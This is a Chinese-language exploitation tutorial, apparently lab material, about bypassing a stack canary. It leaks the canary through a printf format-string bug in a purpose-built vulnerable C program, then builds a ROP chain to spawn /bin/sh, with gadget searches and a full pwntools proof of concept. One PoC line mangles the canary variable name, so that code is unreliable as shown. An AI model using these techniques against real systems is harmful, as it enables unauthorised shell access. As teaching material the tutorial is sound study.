構造帶有堆棧保護的指令流
1. 引言
我們在學ropgadgets與ret2syscall技術原理時,構造指令流時,是沒有加堆棧保護的,比如下面的程序:
文件名:7.c
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/syscall.h>
- void exploit()
- {
- system("/bin/sh");
- }
- void func()
- {
- char str[0x20];
- read(0,str,0x50);
- printf(str);
- read(0,str,0x50);
- }
- int main()
- {
- func();
- return 0;
- }
我們是這樣編譯的,是沒有加堆棧保護的,之后再利用ropgadgets構造指令流,就可以成功去執行execve(“/bin/sh”,null,null);。
- gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
如果加上堆棧保護我們該怎么過呢?像下面這樣編譯:
- gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c
顯然我們就不能像原來一樣構造指令流了,因為加入了堆棧保護。那我們該怎么辦呢?我們可以利用格式化輸出,將canary打印出來,然后再進行指令的組裝。
2. 找地址
調試我們的程序,找到canary的地址,地址在:0xffffcfac
繼續調試,直到printf,我們看看現在canary據棧頂的位置:0060,除以4等于15,說明傳給第一個read函數的值為:%15$08x,就可以將canary打印出來了
重新調試,找到read函數把讀進來的數據存放的地址:0xffffcf8c
將%15$08x給read函數,發現可以將canary打印出來
接下來就是利用好第二個read函數來構造rop鏈了。
3. 構造rop鏈
linux上系統調用原理:
- eax 系統調用號
- ebx 第一個參數
- ecx 第二個參數
- edx 第三個參數
- esi 第四個參數
- edi 第五個參數
- int 0×80
所以eax就存放execve函數的系統調用號11,ebx存放第一個參數/bin/sh,ecx存放第二個參數null,就是0,edx存放第三個參數,也是0
- ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
地址用:0x080b8546
- ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
地址為:0x0806f210
- ROPgadget --binary ./7.exe --string "/bin/sh"
地址用:0x080bbd80
- ROPgadget --binary ./7.exe --only "int"|grep "0x80"
地址為:0x0806ce37
4. 寫出poc
- from pwn import *
- context(arch="i386",os="linux")
- p=process('./7.exe')
- p.sendline("%15$08x")
- canary=p.recv()[:8]
- print(canary)
- canarycanary=canary.decode("hex")[::-1]
- coffset=4*8
- roffset=3*4
- add_eax=p32(0x080b8546)
- value_eax=p32(0xb)
- add_edx_ecx_ebx=p32(0x0806f210)
- value_ebx=p32(0x080bbd80)
- value_ecx=p32(0)
- value_edx=p32(0)
- add_int=p32(0x0806ce37)
- payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
- p.sendline(payload)
- p.interactive()
從from pwn import *到canary=canary.decode(“hex”)[::-1]都是為了找出canary,因為加了堆棧保護,我們不能直接把數據打入到堆棧中,所以要先找出canary,然后構造payload,我們要把canary加進去,過堆棧保護,再在后面加上我們的rop鏈。
執行成功
5. 總結
開啟了堆棧保護,加入了cookie,一旦我們破壞了堆棧,會引起系統保護,出現異常。但是我們還是需要構造我們的指令流,我們可以利用格式化輸出,將canary打印出來,接下來我們可以利用讀寫函數,構造一個指令流,我們先去讀,看一下堆棧的canary在哪里,然后我們canary搞出來,把canary再回填進去,進行組裝,這樣就即可以過堆棧保護,也可以構造我們的指令流了。